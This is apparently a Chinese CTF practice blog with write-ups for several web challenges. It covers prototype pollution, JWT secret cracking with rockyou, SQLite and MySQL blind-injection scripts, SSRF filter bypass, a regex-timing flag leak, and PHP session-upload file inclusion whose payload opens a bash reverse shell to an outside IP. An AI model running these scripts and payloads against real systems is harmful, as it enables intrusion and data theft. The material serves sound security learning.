刷题记录

1127

可以看源码,所以直接查看源码

if (req.session.won >= 100)
{
console.log("you won")
const token = jwt.sign (
{
id : req.session.want_to_eat,
is_win : "true"
}, env.parsed.rockyou, {
expiresIn: 3600 * 12
}
)
res.cookie("token", token, {
maxAge: 3600 * 12,
httpOnly: true
});
req.session.is_win = "true"
res.redirect("/award")
return
}

// 如果圣诞老人赢了5次那么你就输了
if ( req.session.santa > 5 )
{
req.session.destroy()
res.render("failed")
return;
}

赢100次就胜利,显然不太可能,于是继续看看其他地方,这里发现session可以被player的属性赋值,那么如果我们将player这里就对won属性赋值>100不就可以了吗,初步推断可能存在原型链污染之类

app.get('/start', (req, res)=>{  
if ( player.name )
{
for (let i in player)
{
if (req.session.hasOwnProperty(i))
req.session[i] = player[i]
else {
res.end("Do you think i am stupid?")
player = {}
req.session.destroy()
return
}
}

但是在另一个地方:发现有对won的重新赋值,所以应该还要再考虑一下原型链污染的一个顺序问题

app.post('/start', (req, res)=>{
if ( !req.cookies.token || !req.session.name )
{
res.status(403).send("you are not allowed to visit this page")
return
}

if ( !req.session.won )
req.session.won = 0

if ( !req.session.santa )
req.session.santa = 0

最后再POST /这个路由中看到,果然有可以污染的地方

player[i] = tempPlayer[i]

捋一下思路:
先对POST /污染一下player ——>到POST /start 初始化session——>GET /start 对session进行赋值,将其won属性赋值给session
但是我又看了一下似乎这样还是不够的,/award中还有一个is_win要是true,这样

if (req.user.is_win !== 'true' || req.session.is_win !== 'true' )

向上看了一下,POST /start中有对这一项进行ture的赋值,所以应该还要再回来post /start中对这个进行赋值

首先把post污染一下那个won属性,然后把token复制回去替换一下去访问就可以发现player已经101分了

然后就有token让你跳转到/award

img

然后无事发生?、?

img 回去看看源码,这边似乎要注入,但是我不知道id在哪,感觉是要伪造jwt于是再看看==
    let patt = /union|like|pragma|savepoint|vacuum|detach|alter|attach|insert|update|release|rollback|load|create|drop|delete|explain|regexp|=|>|<|"|'/i
if ( req.user.id.match(patt) )
{
res.status(403).end("Never Trust Your User")
return
}

db.get(`SELECT ITEM,LOG FROM AWARD WHERE id=${req.user.id}`,function(err,row){
if (!row) {
res.render("reward", {"award": "", "log": ""})
return
}
if (row["ITEM"] && row["LOG"]){
res.render("reward", {"award": row["ITEM"], "message" : row["LOG"]} )
} else res.render("reward", {"award": "", "log": ""})
})
})

用工具发现出不来,于是在回去找找信息:发现是要用rockyou的字典才行

import jwt
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjIiLCJpc193aW4iOiJmYWxzZSIsImlhdCI6MTYzMDU3MzUzOSwiZXhwIjoxNjMwNjE2NzM5fQ.mAH_mgq1JvEtgyJ3CpfF0xN-7ca_scyUrbuFZzPOIXs"
path = "C:/Users/10452/Desktop/rockyou.txt"
alg = "HS256"

with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=["HS256"])
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")

拿到key然后去换一下user看看源码这个看起来就是要盲注了吧
img

应该就是要用这个id来进行盲注了吧
img

那么接下来的思路就是构造sql注入语句,然后替换到id那边重新进行加密,但是每次要到这个/award都需要重新构造id,就要伪造jwt,这里就编写一下python脚本跑一下?
首先看看如何构造盲注语句:
根据他的结果,如果查询到就返回结果,查询不到就返回空好像,然后根据这个过滤内容,看起来不像是mysql,毕竟mysql没有vacuum这个东西吧,查了一下,这个是sqlite的东西,所以这题应该是sqlite盲注
盲注中的截取没咋过滤,就直接用substr就可以,然后比较符过滤了,很多,看了一下in没被过滤,所以这里考虑用in试试,由于引号都被过滤了,所以可以直接使用char函数进行绕过

import jwt
import requests
import string
url="http://a.y1ng.vip:1127/"
s=requests.session()
game="s%3AAUHzfM13c2l68I75rIKMDLtiU8GKtpxJ.H3ugRxCwtqH1Ey6%2F1IClRNwrt8Ba5uE0FSihnsXd2kE"

def jwt_boom():
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjIiLCJpc193aW4iOiJmYWxzZSIsImlhdCI6MTYzMDU3MzUzOSwiZXhwIjoxNjMwNjE2NzM5fQ.mAH_mgq1JvEtgyJ3CpfF0xN-7ca_scyUrbuFZzPOIXs"
path = "C:/Users/10452/Desktop/rockyou.txt"

with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=["HS256"])
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
def jwt_encode(payload_t):
json = {
"id": payload_t,
"is_win": "true",
"iat": 1630654737,
"exp": 1630697937
}
token = jwt.encode(json, "fuckoff123", algorithm='HS256')
return token
def ord_tran(s):
fin=""
for i in s:
fin +=f"{ord(i)},"
#print(f"chr({fin[:-1]})")
return f"char({fin[:-1]})"


def sql_injection(payload):
result=""
for i in range(1,10000):
for j in range(0,128):
payload_f=f"1 and char({j}) in (substr(({payload}),{i},1));--"
#print(payload_f)
token=jwt_encode(payload_f)
headers={
"cookie":f"game={game}; token={token}"
}
#print(headers)
r=s.get(url=url+'award',headers=headers).text

#print(r)
if "Turkey" in r:
result += chr(j)
print(result)
break


if __name__ == "__main__":
#jwt_boom() #key=fuckoff123
#payload="SELECT group_concat(name) FROM sqlite_master"#AWARD,sqlite_autoindex_AWARD_1,SECRET,sqlite_autoindex_SECRET_1
#ord_tran("SECRET")

#payload=f"SELECT group_concat(sql) FROM sqlite_master WHERE tbl_name in ({ord_tran('SECRET')})"#fl4ggg
payload=f"SELECT group_concat(fl4ggg) FROM SECRET"#almost,flag{f7f0f684-0abf-ffe1-c561-a186d17a0b1d}
sql_injection(payload)

sqlite注入:https://xz.aliyun.com/t/8627#toc-3

2023

一开始我输入任何的url都没用,一直说后缀不对,原来是要在url后面加一个png。。。。所以可以用file协议读一下源码,由于过滤了var,可以通过二次url编码进行绕过,为什么用?号呢。其实这里可以理解为一个分割的作用吧,?png不影响前面地址的访问

file:///%25%37%36ar/www/html/index.php?png
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match("/flag|apache|conf|var|proc|log/i" ,$url)){
$dieMess = "Dangerous content.";
}
else{
$end = substr($url, strlen($url) - 3, strlen($url));
if($end === "png"){
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_TIMEOUT, 200);
curl_setopt($curlobj, CURLOPT_URL, $url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($curlobj);
if(ord($res) < 0x80){
$dieMess = $res;
}

$httpCode = curl_getinfo($curlobj, CURLINFO_HTTP_CODE);
var_dump($httpCode);
if($httpCode < 300){
$down = curl_init($url);
$tmpFile = tempnam(sys_get_temp_dir(), 'image');
$resource = fopen($tmpFile, 'wb');
curl_setopt($down, CURLOPT_FILE, $resource);
curl_setopt($down, CURLOPT_TIMEOUT, 200);
curl_setopt($down, CURLOPT_URL, $url);
curl_setopt($down, CURLOPT_HEADER, 0);
curl_exec($down);
$filename = "./you_will_never_find_me_hiahiahia_and_my_duty_is_storage_tmp_file/" . md5(time()) . ".png";
copy($tmpFile, $filename);
@unlink($tmpFile);
if($dieMess == "")
$dieMess = "Your picture's colorful number is " . getMainColor($filename, '1') . ".";
@unlink($filename);
}
else{
$dieMess = "Woops, seem I can not visit it!";
}
}
else{
$dieMess = "Extension not allowed!";
}
}
}

所以应该是将tmpfile文件的内容赋值给filename中,然后访问即可,接下来就是找flag在哪里,可以猜一下是否在/flag或者/flag.txt~

1115

扫描一下 发现有source目录

require 'sinatra'
require 'base64'
require 'safe_regexp'

FLAG = File.open('/flag', "r").read # 是一个MD5,提交时请包裹上flag{}

String.class_eval do
def text
return [self].pack('H*')
end
end

set :public_folder, File.dirname(__FILE__) + '/static'

get '/' do
File.open('/app/app/index.html' , "r").read
end

get '/check/:regex' do
begin
regexp = Regexp.new(params['regex'].text)
p regexp
rescue
"False!"
return
end
begin
SafeRegexp.execute(regexp, :match?, FLAG, timeout: 3)
"OK!"
rescue
"False!"
end
end

get '/source' do
File.open(__FILE__ , "r").read
end

这题是正则表达式延时,直接打就行了~

require 'net/http'

CHALLENGE = 'http://a.y1ng.vip:1115'

String.class_eval do
def hex
res = ''
self.each_byte do |i|
res += "%02x" % i
end
return res
end
end

def random(len)
chars = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
s = ""
1.upto(len) do
s << chars[rand(chars.size - 1)]
end
s
end

def check_result(reg, suffix)
full_regexp = "^(?=" + reg + ")((.*)*)*" + suffix
p full_regexp
uri = URI(CHALLENGE + 'check/' + full_regexp.hex)
Net::HTTP.get_response(uri)
end

def leak(flag, r)
chars = '0123456789abcdef'
(0..15).each do |i|
if check_result(flag + chars[i], r).body["False"]
p flag + chars[i]
return leak(flag + chars[i], r)
end
end
end

r = random(10)+'$'
leak('', r)

2014

上面存在文件包含:
使用一下指令读取源码

?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=login.php
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php

得到以下内容:

<?php 
error_reporting(0);
if (isset($_GET['d3bug']))
{ phpinfo(); }
if (isset($_GET['page']))
{ $page = $_GET['page'];
$filter = "/\.\.|base|file|gopher|http|ftp|phar|base|string|data|zip|compress|base|decode|read|pear|rot|crypt|pear|utf|flag/i";
if (preg_match( $filter , $page) )
{ die("hacker"); } include $page; }
else
{ echo "<script>location.href='./?page=login.php'</script>"; }

然后看到phpinfo()里面,可以使用session文件包含,因为PHP_SESSION_UPLOAD_PROGRESS是有开的

import requests
import threading
sess_id="tlife"
s=requests.session()
url="http://"
def session_upload():
while True:
res= s.post(
url=f"{url}/?page=/tmp/session/sess_{sess_id}",
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?=`bash -c 'bash -i >& /dev/tcp/110.42.133.120/9999 0>&1'`;?>"
},
files={"file": ('xxx.txt', open("shell.txt", "r"))},
cookies={'PHPSESSID':sess_id}
)
for i in range(100):
thread=threading.Thread(target=session_upload)
thread.start()

就可以了~

1119

看了一下过滤了最重要的info库,就意味着大概率是无列名盲注了,然后过滤了一些比较符号,还有like、rlike等正则匹配函数,那么本题似乎只能用case when了的感觉
接下

判断注入类型

布尔盲注,回显分为

测试语句::root'and/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/0/**/end#
true:welcomt admin
false:wrong

编写盲注脚本:

构造注入语句

这题的截取函数基本都过滤了,所以这里使用
img

接下来就是跑表名,由于in库被过滤了,这里试了一下 发现

select group_concat(table_name) from sys.schema_table_statistics;

是可以的img

就可以跑出表名了
接下来使用union无列名盲注

select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2

得到表名以后 直接select * from SeCrrreT跑不出来,所以可以猜想肯定不止一行,所以后面要加limit 然后用无列名盲注,去尝试字段数

import requests
import string
url="http://a.y1ng.vip:1119/"
s=requests.session()
def sql_injection(payload):
data1=""
for i in range(1,100):
for j in range(32,128):
payload_tr=f"root'and case ascii(reverse(left(({payload}),{i}))) when {j} then 1 else 0 end#".replace(" ","/**/")
data={
"username":payload_tr,
"password":"1141"
}
r=s.post(url=url,data=data).text
#print(r)
#print(data)
if "Welcome Admin!" in r:
data1+=chr(j)
print(data1)
break



if __name__=="__main__":
#payload="database()"#ctfgame
#payload="select group_concat(table_name) from sys.schema_table_statistics"#users,SeCrrreT
payload="select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2"#flag{fab99a66-23db-47b1-9db4-9262664d76a8}
sql_injection(payload)
Author

vague huang

Posted on

2021-08-31

Updated on

2021-09-12

Licensed under

Comments